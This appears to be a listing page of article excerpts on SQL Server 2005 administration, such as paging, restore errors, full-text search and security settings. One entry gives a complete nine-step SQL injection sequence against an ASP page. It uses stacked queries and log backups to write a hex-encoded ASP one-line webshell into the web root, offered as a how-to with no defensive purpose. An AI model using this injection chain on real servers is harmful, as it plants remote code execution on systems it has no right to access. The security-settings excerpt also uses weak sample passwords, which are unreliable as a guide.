• Collation of paged stored procedures in sqlserver 2000 and 2005 page 1 / 3


    The paging stored procedure of SQL Server 2005 is divided into three versions, one is not optimized, the other is optimized, and the last one supports join. The paging stored procedure of SQL Server 2000 can also run on SQL Server 2005, but its performance is not as good as that of SQL Server 2005. […]

  • Classic solutions to database restore errors in SQL Server 2005


    Error occurred in the process of SQL Server 2005 database restoration: the database backup in the backup set is different from the existing ‘XXXX’ database. Several solutions were found on the Internet for testing, and finally the database was restored successfully. This is to record and provide it to the people who need it. Step […]

  • SQL 2005 does not allow remote connection, which may cause this failure


    (provider: named pipeline provider, error: 40 – unable to open connection to SQL Server) The database connection statement of the website is: server =; uid = Sa; PWD = XXX; database = XXXAfter testing, server = is changed to “server =.” or “server = machine name”, which can be connected normally;Therefore, it can’t […]

  • The method of MSSQL 2005 log backup webshell


    Note: reprint will be injected from the original works of “lone Longzi blog“http://itpro.blog.163.com First step http://itpro.blog.163.com/test.asp’;alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]– The second step: http://itpro.blog.163.com/test.asp’;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%[email protected]/**/with/**/init– The third step http://itpro.blog.163.com/test.asp’;drop/**/table/**/[itpro]– The fourth stephttp://itpro.blog.163.com/test.asp’;create/**/table/**/[itpro]([a]/**/image)– The fifth stephttp://itpro.blog.163.com/test.asp’;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%[email protected]/**/with/**/init– The sixth stephttp://itpro.blog.163.com/test.asp’;insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)– The seventh stephttp://itpro.blog.163.com/test.asp’;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%[email protected]/**/with/**/init– The eighth stephttp://itpro.blog.163.com/test.asp’;drop/**/table/**/[itpro]– The ninth stephttp://itpro.blog.163.com/test.asp’;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%[email protected]/**/with/**/init– By: lone fox prodigal son QQ: 393214425

  • SQL Server 2005 column statement for all stored procedures


    In order to find these stored procedures, you can spend time searching on the Internet, looking at some stored procedures that you have not yet known. Maybe in an hour or two, you may find that you want to… Maybe you are very lucky to find them. Others list all the stored procedures, functions and […]

  • SQL Server 2005 template parameter instructions


    List a is an instance created by expanding the programmability node in the object explorer. Select the stored procedure, then right-click and select a new stored procedure. It’s amazing how many developers can’t read the first part of how to fill in the parameters. To do this, press [Ctrl] [shift] m or select query specify […]

  • Solutions to SQL Server 2005 express installation failure


    After downloading SQL Sever 2005 express for separate installation, it was found that there was always an error when installing MSXML 6. However, MSXML 6 Service Pack 2 (kb954459) cannot be deleted in the control panel. Finally, a solution is found. See http://support.microsoft.com/kb/968749/zh-cn for details

  • SQL2005 sorts the numbers according to the specified fields


    The SQL statement is as follows: Copy codeThe code is as follows: WITH Table 1 AS( Select number field name, row_number() over (order by field name DESC) as rownumFROM table name) Update Table 1Set number field name = rownum Application scenario:The group is ranked according to the group popularity value through such SQL statement: Copy […]

  • SQL Server 2005 simple full text retrieval


    Copy codeThe code is as follows: –View the current database status 1 as full-text indexing enabledSelect databaseproperty (‘Database name ‘,’ isfulltextenabled ‘)–Open fulltext functionexecute sp_fulltext_databse ‘enable’ –Turn this feature offexecute sp_fulltext_databse ‘disable’ –Create a full-text index catalog–Drop fulltext directory nameCreate fulltext catalog directory name–Each table can only have one full-text index, which is stored in […]

  • MSSQL 2005 Security Settings Picture and Text Tutorial


    1. Use mixed mode when installing MSSQL. Of course, SA password should not be empty. In SQL 2005, SA can be modified or deleted as a super user name.use masterALTER LOGIN [sa] WITH NAME= [zxs]/* Modify SA Account*/Sp_password’111111111′,’123456′,’sa’/* Modify SA password*/SA account can be modified or graphically modified by using the above commandsUse a secure […]

  • Positive Solution of SQLSEVER 2005 SQL Sorting (Sorting by Size)


    Today we see a question in the forum, as follows:   To solve this problem, Insus. NET has written a function that can be easily extended later. If the value of TB or higher appears, you can only change this function. Copy codeThe code is as follows: SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO […]